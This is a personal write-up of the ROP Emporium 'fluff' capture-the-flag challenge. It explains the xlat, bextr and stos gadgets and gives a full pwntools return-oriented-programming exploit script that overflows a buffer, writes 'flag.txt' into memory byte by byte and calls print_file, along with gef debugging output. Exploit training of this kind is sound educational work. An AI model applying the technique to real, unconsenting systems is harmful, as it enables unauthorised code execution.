6. fluff

the sixth challenge, the most difficult challenge by far and it took me roughly 2 days to complete.

this challenge is similar to write4 but now, we need to use more uncommon instructions to write the string into memory, the function print_file is still present in the binary.

the binary doesn't contain the usual instructions such as mov [reg], reg for us to use to write into memory, so let's inspect into the binary and see what we can do.

gef➤  i func
All defined functions:

Non-debugging symbols:
0x00000000004004d0  _init
0x0000000000400500  pwnme@plt
0x0000000000400510  print_file@plt
0x0000000000400520  _start
0x0000000000400550  _dl_relocate_static_pie
0x0000000000400560  deregister_tm_clones
0x0000000000400590  register_tm_clones
0x00000000004005d0  __do_global_dtors_aux
0x0000000000400600  frame_dummy
0x0000000000400607  main
0x0000000000400617  usefulFunction
0x0000000000400628  questionableGadgets
0x0000000000400640  __libc_csu_init
0x00000000004006b0  __libc_csu_fini
0x00000000004006b4  _fini

what is questionableGadgets??

gef➤  disas questionableGadgets
Dump of assembler code for function questionableGadgets:
   0x0000000000400628 <+0>:     xlat   BYTE PTR ds:[rbx]
   0x0000000000400629 <+1>:     ret
   0x000000000040062a <+2>:     pop    rdx
   0x000000000040062b <+3>:     pop    rcx
   0x000000000040062c <+4>:     add    rcx,0x3ef2
   0x0000000000400633 <+11>:    bextr  rbx,rcx,rdx
   0x0000000000400638 <+16>:    ret
   0x0000000000400639 <+17>:    stos   BYTE PTR es:[rdi],al
   0x000000000040063a <+18>:    ret
   0x000000000040063b <+19>:    nop    DWORD PTR [rax+rax*1+0x0]
End of assembler dump.

what is xlat??? and what is bextr and stos?? that's the question i got from reading what's inside the function, let's read the documentation for them.

what is xlat?

xlat or Table Look-up Translation is an instruction that uses [rbx] for an address to memory and al for an index and then set the value into al register essentially it's like an array we will find in a typical programming language.

for example, we have rbx point to 0x400000 and al as a value of 0x4, if we have a string in memory at 0x400000 that is "Hello, Ropper" we will get "o" or 0x6f set to al register after the instruction is completed.

what is bextr?

bextr or Bit Field Extract is an instruction that extracts a bits from a source register (second operand) and put it into a destination register where length and offset is set on the third operand where bit 7:0 is the offset and bit 15:8 is the length.

an example from stackoverflow

Say the starting bit is 5 and the length is 9. we have

Input : 11010010001110101010110011011010 = 0xd23aacda
                          |-------|
                              \
                               \
                                \
                                 v
                               |-------|
Output: 00000000000000000000000101100110 = 0x00000166

what is stos?

stos or Store String is an instruction that stores al register into the address of [rdi]. this instruction is pretty straightforward and self-explainatory.

so, we have an instruction to get a string to a memory from [rbx] to al, we have an instruction to get value of rcx into rbx and an instruction to store al into [rdi].

we can see where this is going. we can write al into specific memory address with [rdi], we can set al to something with [rbx + al] and lastly, we can control rbx with bextr, all good right? well not quite...

how do we know where to point rbx to get a string we want???

i stuck here for a while and i came up with an idea, how about we select the string from the printed strings that.

┌──(kali㉿kali)-[~/ctf/rop/fluff]
└─$ ./fluff
fluff by ROP Emporium
x86_64

You know changing these strings means I have to rewrite my solutions...
>

as you can see here we have all the characters we wanted for the string flag.txt can we just point rbx to that right? well, as simple as it might sound it's actually impossible for me to do since the binary has patially RELRO, and those strings live inside an imported library, ahhhhhhhhhh...

but wait, we can just leak the library address right since we can do pretty much all we want, well, the binary doesn't import any other things except the library that is provided by the challenge.

so we can't leak the address of the library to point it to the printed strings in the beginning.

i stuck here for the rest of the day.

day 2, my co-worker (shout out to him), told me that since we can point to anywhere we want just point it to the address in the binary itself, since random addresses can contain a byte that represent a character that we wanted, and THAT IS BRILLIANT.

so i tried searching with ropper and there it is!

┌──(kali㉿kali)-[~/ctf/rop/fluff]
└─$ ropper --string "f|l|a|g|.|t|x" -f fluff | awk '{ print $2, $1 }' | sort
 =======
. 0x0040024e
. 0x00400251
. 0x004003c9
. 0x004003fd
. 0x00400400
. 0x00400434
. 0x00400436
. 0x00400439
----- -------
a 0x004003d6
a 0x0040040c
a 0x00400411
a 0x00400418
a 0x0040041a
a 0x00400424
f 0x004003c4
f 0x004003c7
f 0x004003c8
f 0x004003e2
f 0x004003f4
g 0x004003cf
g 0x004007a0
l 0x00400239
l 0x0040023f
l 0x00400242
l 0x004003c1
l 0x004003c5
l 0x004003e4
l 0x004003f9
l 0x00400405
t 0x004003d5
t 0x004003d8
t 0x004003e0
t 0x004003f1
t 0x0040040b
t 0x0040040e
t 0x00400419
t 0x00400423
t 0x00400426
t 0x004006cb
t 0x004006ce
Value Address
x 0x00400246
x 0x00400248
x 0x004006c8
x 0x00400725
x 0x00400751
x 0x00400778
x 0x004007bc
 Strings

that's all we wanted for the string flag.txt, let's craft the payload!

from pwn import *

pop_rdi = 0x4006a3
stos = 0x400639
xlat = 0x400628

# pop rdx, pop rcx, add rcx,0x3ef2, bextr rbx,rcx,rdx
bextr = 0x40062a
add_rcx = 0x3ef2

print_file = 0x400510
data_sec = 0x601028
padding = b"x" * 40

p = process("./fluff")
gdb.attach(p, """
           break *0x40062a
           break *0x400628
           break print_file
           """)

payload = padding + p64(bextr) + p64(0x4000) + p64(0x004003c4 - add_rcx)
payload += p64(xlat) + p64(pop_rdi) + p64(data_sec) + p64(stos)

p.sendline(payload)
p.interactive()

let's can try this and see if it works.

     0x400626 <usefulFunction+15> pop    rbp
     0x400627 <usefulFunction+16> ret
●    0x400628 <questionableGadgets+0> xlat   BYTE PTR ds:[rbx]
 →   0x400629 <questionableGadgets+1> ret
   ↳    0x4006a3 <__libc_csu_init+99> pop    rdi
        0x4006a4 <__libc_csu_init+100> ret
        0x4006a5                  nop
        0x4006a6                  cs     nop WORD PTR [rax+rax*1+0x0]
        0x4006b0 <__libc_csu_fini+0> repz   ret
        0x4006b2                  add    BYTE PTR [rax], al
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "fluff", stopped 0x400629 in questionableGadgets (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400629 → questionableGadgets()
[#1] 0x4006a3 → __libc_csu_init()
[#2] 0x400639 → questionableGadgets()
[#3] 0x4006a3 → __libc_csu_init()
[#4] 0x400510 → pwnme@plt()
[#5] 0x7fff5414a80a → in eax, dx
[#6] 0x7fb4d4414000 →  <_rtld_global+0> rcl BYTE PTR [rdx+0x41], 0xd4
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  i r rax
rax            0x67                0x67

wait, why do we get 0x67 it should be 0x66 what's going on? let's try that again and see the register before xlat maybe rax is something before xlat and that might interfere with our payload.

●→   0x400628 <questionableGadgets+0> xlat   BYTE PTR ds:[rbx]
     0x400629 <questionableGadgets+1> ret
●    0x40062a <questionableGadgets+2> pop    rdx
     0x40062b <questionableGadgets+3> pop    rcx
     0x40062c <questionableGadgets+4> add    rcx, 0x3ef2
     0x400633 <questionableGadgets+11> bextr  rbx, rcx, rdx
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "fluff", stopped 0x400628 in questionableGadgets (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400628 → questionableGadgets()
[#1] 0x4006a3 → __libc_csu_init()
[#2] 0x400639 → questionableGadgets()
[#3] 0x4006a3 → __libc_csu_init()
[#4] 0x400510 → pwnme@plt()
[#5] 0x7fff5414a80a → in eax, dx
[#6] 0x7fb4d4414000 →  <_rtld_global+0> rcl BYTE PTR [rdx+0x41], 0xd4
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  i r rax
rax            0xb                 0xb

i see, that's why we don't get 0x66 or f, the offset might point to something else, so let's calculate where we are going to point to before xlat is executed by subtracting 0xb from the address.

...
payload = padding + p64(bextr) + p64(0x4000) + p64(0x004003c4 - add_rcx - 0xb)
...
     0x400626 <usefulFunction+15> pop    rbp
     0x400627 <usefulFunction+16> ret
●    0x400628 <questionableGadgets+0> xlat   BYTE PTR ds:[rbx]
 →   0x400629 <questionableGadgets+1> ret
   ↳    0x4006a3 <__libc_csu_init+99> pop    rdi
        0x4006a4 <__libc_csu_init+100> ret
        0x4006a5                  nop
        0x4006a6                  cs     nop WORD PTR [rax+rax*1+0x0]
        0x4006b0 <__libc_csu_fini+0> repz   ret
        0x4006b2                  add    BYTE PTR [rax], al
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "fluff", stopped 0x400629 in questionableGadgets (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400629 → questionableGadgets()
[#1] 0x4006a3 → __libc_csu_init()
[#2] 0x400639 → questionableGadgets()
[#3] 0x4006a3 → __libc_csu_init()
[#4] 0x400510 → pwnme@plt()
[#5] 0x7ffc6a50100a → rex add BYTE PTR [rax], al
[#6] 0x7feda750d000 →  <_rtld_global+0> shl dl, 0x50
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  i r rax
rax            0x66                0x66

yeah! that's what we wanted now let's craft the full payload. remember that everytime we get a character out, our al is gonna change so we have to calculate for the last string we wrote into the memory.

from pwn import *

pop_rdi = 0x4006a3
stos = 0x400639
xlat = 0x400628

# pop rdx, pop rcx, add rcx,0x3ef2, bextr rbx,rcx,rdx
bextr = 0x40062a
add_rcx = 0x3ef2

print_file = 0x400510
data_sec = 0x601028
padding = b"x" * 40

p = process("./fluff")
gdb.attach(p, """
           break *0x40062a
           break *0x400628
           break print_file
           """)

def writeToMem(addr, index, al = 0xb):
    return p64(bextr) + p64(0x4000) + p64(addr - add_rcx - al) + p64(xlat) + p64(pop_rdi) + p64(data_sec + index) + p64(stos)

flag_file = "flag.txt"
flagList = [0x004003c4, 0x00400239, 0x004003d6, 0x004003cf, 0x0040024e, 0x004003d5, 0x00400246 ,0x004003d5]

payload = padding + writeToMem(flagList[0], 0)

for i, char in enumerate(flag_file):
    # we already wrote the first character, and we only loop for the recently added character
    if i == len(flag_file) - 1:
        break

    payload += writeToMem(flagList[i + 1], i + 1, ord(char))

payload += p64(pop_rdi) + p64(data_sec) + p64(print_file)

p.sendline(payload)
p.interactive()
┌──(kali㉿kali)-[~/ctf/rop/fluff]
└─$ python solve.py
[+] Starting local process './fluff': pid 58410
[*] running in new terminal: ['/usr/bin/gdb', '-q', './fluff', '58410', '-x', '/tmp/pwncifz4jv2.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
fluff by ROP Emporium
x86_64

You know changing these strings means I have to rewrite my solutions...
> Thank you!
ROPE{a_placeholder_32byte_flag!}

finally, we got the flag, i learnt a really neat trick from this challenge, to be honest, this challenge was very difficult for me but it's pretty fun using uncommon instructions so yeah nicesu nicesu!!